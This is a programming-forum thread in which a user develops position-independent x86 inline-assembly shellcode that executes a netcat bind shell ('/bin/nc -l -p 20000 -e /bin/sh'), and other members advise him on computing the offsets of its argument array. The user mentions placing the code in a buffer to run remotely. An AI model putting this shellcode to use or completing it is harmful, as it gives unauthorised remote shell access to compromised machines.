Thread: Assembly in C?

  1. #46
    Registered User
    Join Date
    Jul 2007
    Posts
    186
    Closer. I've eliminated a little dependence. I'm not sure how to populate an actual array however at runtime
    Code:
    void main()
    {
     __asm__(
    "jmp call1\n\t"
    "start1:\n\t"
    "pop %esi\n\t"
    "lea (%esi),%ecx\n\t"
    "jmp call2\n\t"
    "start2:\n\t"
    "pop %esi\n\t"
    "mov %esi,%ebx\n\t"
    "mov $0x0,%edx\n\t"
    "mov $0xb,%eax\n\t"
    "int $0x80\n\t"
    "call1:\n\t"
    "call start1\n\t"
    "myarr: .long arg1,arg2,arg3,arg4,0\n\t"
    "call2:\n\t"
    "call start2\n\t"
    "arg1: .string \"/bin/nc\"\n\t"
    "arg2: .string \"-l\"\n\t"
    "arg3: .string \"-p 20000\"\n\t"
    "arg4: .string \"-e /bin/sh\""
    );

  2. #47
    Kernel hacker
    Join Date
    Jul 2007
    Location
    Farncombe, Surrey, England
    Posts
    15,677
    You have to do store the offset of arg1..arg4 in your table, and add whatever you base the offset from, based on what the location of the code is. That is exactly what the loader does when it locates your code in memory.

    --
    Mats
    Compilers can produce warnings - make the compiler programmers happy: Use them!
    Please don't PM me for help - and no, I don't do help over instant messengers.

  3. #48
    Registered User
    Join Date
    Jul 2007
    Posts
    186
    So you mean instead of:
    Code:
    "myarr: .long arg1,arg2,arg3,arg4,0\n\t"
    do:
    Code:
    "myarr: .long myarr+?,myarr+?,myarr+?,myarr+?,0\n\t"

  4. #49
    Kernel hacker
    Join Date
    Jul 2007
    Location
    Farncombe, Surrey, England
    Posts
    15,677
    Yes, except when you generate the code, you subtract the base, and then add the actual value when you know it.

    --
    Mats
    Compilers can produce warnings - make the compiler programmers happy: Use them!
    Please don't PM me for help - and no, I don't do help over instant messengers.

  5. #50
    Registered User
    Join Date
    Jul 2007
    Posts
    186
    So then it's:
    Code:
    "myarr: .long myarr-?,myarr-?,myarr-?,myarr-?,0\n\t"
    How do I know what to put in for the question marks? My guess would be that since my code looks like this:
    Code:
    "myarr: .long arg1,arg2,arg3,arg4,0\n\t"
    "call2:\n\t"
    "call start2\n\t"
    "arg1: .string \"/bin/nc\"\n\t"
    "arg2: .string \"-l\"\n\t"
    "arg3: .string \"-p 20000\"\n\t"
    "arg4: .string \"-e /bin/sh\""
    I think the first ? is 5 bytes because I think call is a 5 byte instruction. And then I think the second one is /+b+i+n+/+n+c = 7 + 5 = 12 bytes and so on. Is that correct?

    Now, when I'm running the code locally, the arguments will be at lower memory values than myarr, so I would want to subtract. But when I put the code in a buffer wouldn't the arguments be higher in memory than myarr. So I think I'd have to do subtraction to get them to work here and addition to get them to work remotely. Is that correct?

  6. #51
    Officially An Architect brewbuck's Avatar
    Join Date
    Mar 2007
    Location
    Portland, OR
    Posts
    7,396
    Basically what you're doing is writing a little teeny tiny linker.

    Without getting too specific, this is why people don't usually use exec() directly, because the argument passing is convoluted.
    Code:
    //try
    //{
    	if (a) do { f( b); } while(1);
    	else   do { f(!b); } while(1);
    //}

  7. #52
    Registered User
    Join Date
    Jul 2007
    Posts
    186
    Thanks for all the help guys. I'll mull a bunch of these ideas around in my head.

  8. #53
    Kernel hacker
    Join Date
    Jul 2007
    Location
    Farncombe, Surrey, England
    Posts
    15,677
    arg1-myarr would give you an offset from myarr. There are ways to make it simpler and make just one call, but I'll give you that to ponder for a bit (you are doing this to learn, right, not to learn how to copy from a web-site).

    --
    Mats
    Compilers can produce warnings - make the compiler programmers happy: Use them!
    Please don't PM me for help - and no, I don't do help over instant messengers.

  9. #54
    Registered User
    Join Date
    Jul 2007
    Posts
    186
    Learning is my main objective here, but I learn best through listening to people who know more, rather than googling although I've done a ton of googling as well

Popular pages Recent additions subscribe to a feed

Similar Threads

  1. Learning Assembly
    By mrafcho001 in forum Tech Board
    Replies: 5
    Last Post: 03-12-2006, 05:00 PM
  2. C to assembly interface
    By Roaring_Tiger in forum C Programming
    Replies: 4
    Last Post: 02-04-2005, 03:51 PM
  3. assembly language...the best tool for game programming?
    By silk.odyssey in forum Game Programming
    Replies: 50
    Last Post: 06-22-2004, 01:11 PM
  4. True ASM vs. Fake ASM ????
    By DavidP in forum A Brief History of Cprogramming.com
    Replies: 7
    Last Post: 04-02-2003, 04:28 AM
  5. C,C++,Perl,Java
    By brusli in forum C Programming
    Replies: 9
    Last Post: 12-31-2001, 03:35 AM